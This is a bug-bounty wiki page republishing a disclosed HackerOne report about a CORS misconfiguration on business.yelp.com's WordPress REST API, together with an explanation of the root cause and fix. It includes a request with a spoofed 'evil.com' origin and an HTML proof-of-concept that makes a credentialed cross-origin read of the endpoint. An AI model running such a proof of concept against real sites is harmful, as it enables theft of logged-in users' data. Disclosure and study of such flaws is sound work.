Skip to content
CORS Disclosed report Beginner

CORS Misconfiguration on Yelp

The business.yelp.com WordPress REST API endpoint reflected an arbitrary Origin in its CORS response and allowed credentials, so a malicious site could read authenticated responses. An attacker could lure a logged-in user to a page that fetches the endpoint and records the returned data.

qualw1n Follow

Originally disclosed on HackerOne

  • Disclosed after 6 days

Entry

An cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request. If the site specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. This bug could be used to steal users information or force the user to execute unwanted actions. As long that a legit and logged in user is lure to access a attacker controlled HTML page

Description:

CORS misconfiguration is found on business.yelp.com as Access-Control-Allow-Credentials: true.

Steps to reproduce:

Visit business site.

Request

GET /wp-json HTTP/2 Host: business.yelp.com Sec-Ch-Ua: "Chromium";v="105", "Not)A;Brand";v="8" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 Origin: evil.com

Response

Allow: GET Access-Control-Allow-Origin: http://evil.com Access-Control-Allow-Methods: OPTIONS, GET, POST, PUT, PATCH, DELETE Access-Control-Allow-Credentials: true

POC

<!DOCTYPE html> <html> <head> <script> function cors() { var xhttp=new XMLHttpRequest(); xhttp.onreadystatechange= function() { if (this.readyState == 4 && this.status ==200){ document.getElementById("emo").innerHTML=alert(this.responseText ); } }; xhttp.open('GET',"https://business.yelp.com/wp-json/",true); xhttp.withCredentials=true; xhttp.send(); } </script> </head> <body> <center> <h2>[!]CORS P0C - Qualw1n</h2> <div id="demo"> <button type="button" onclick="cors()">Exploit</button> </div> </center> </body> </html>

Photo

image.png
image.png From the original on HackerOne

Impact

Attacker would treat many victims to visit attacker's website, if victim is logged in, then his personal information is recorded in attacker's server. Also If the site specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information.

Attachments

The original report as published on HackerOne, by qualw1n. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the server reflected the request's Origin header into Access-Control-Allow-Origin while also setting Access-Control-Allow-Credentials to true, instead of checking the origin against an allowlist.

Impact

A logged-in victim who visits an attacker page could have their personal information read and recorded by the attacker, and privileged actions could be carried out on their behalf.

What the attacker needed

Victim is logged in; victim visits attacker-controlled page

The fix

The server should only return Access-Control-Allow-Origin for trusted origins, not reflect arbitrary ones, especially when credentials are allowed.

How it was found

  1. Send a request to the WordPress REST API endpoint on business.yelp.com with an attacker-controlled Origin header.
  2. Observe that the response reflects that Origin and allows credentials.
  3. Host a page that makes a credentialed cross-origin request to the endpoint and reads the response.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

CORS is a browser rule that lets a website say which other sites may read its responses. This site told the browser that any site, including an attacker's, was allowed to read responses while the user was logged in. That means a malicious page could quietly fetch private data from the site and send it to the attacker.

What is CORS?

A permissive cross-origin policy lets another site read responses with the user's credentials.

More by qualw1n

View all

4 more disclosed reports, best first.

More from Yelp

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

CORS misconfiguration

The lesson behind this report.

A permissive cross-origin policy lets another site read responses with the user's credentials.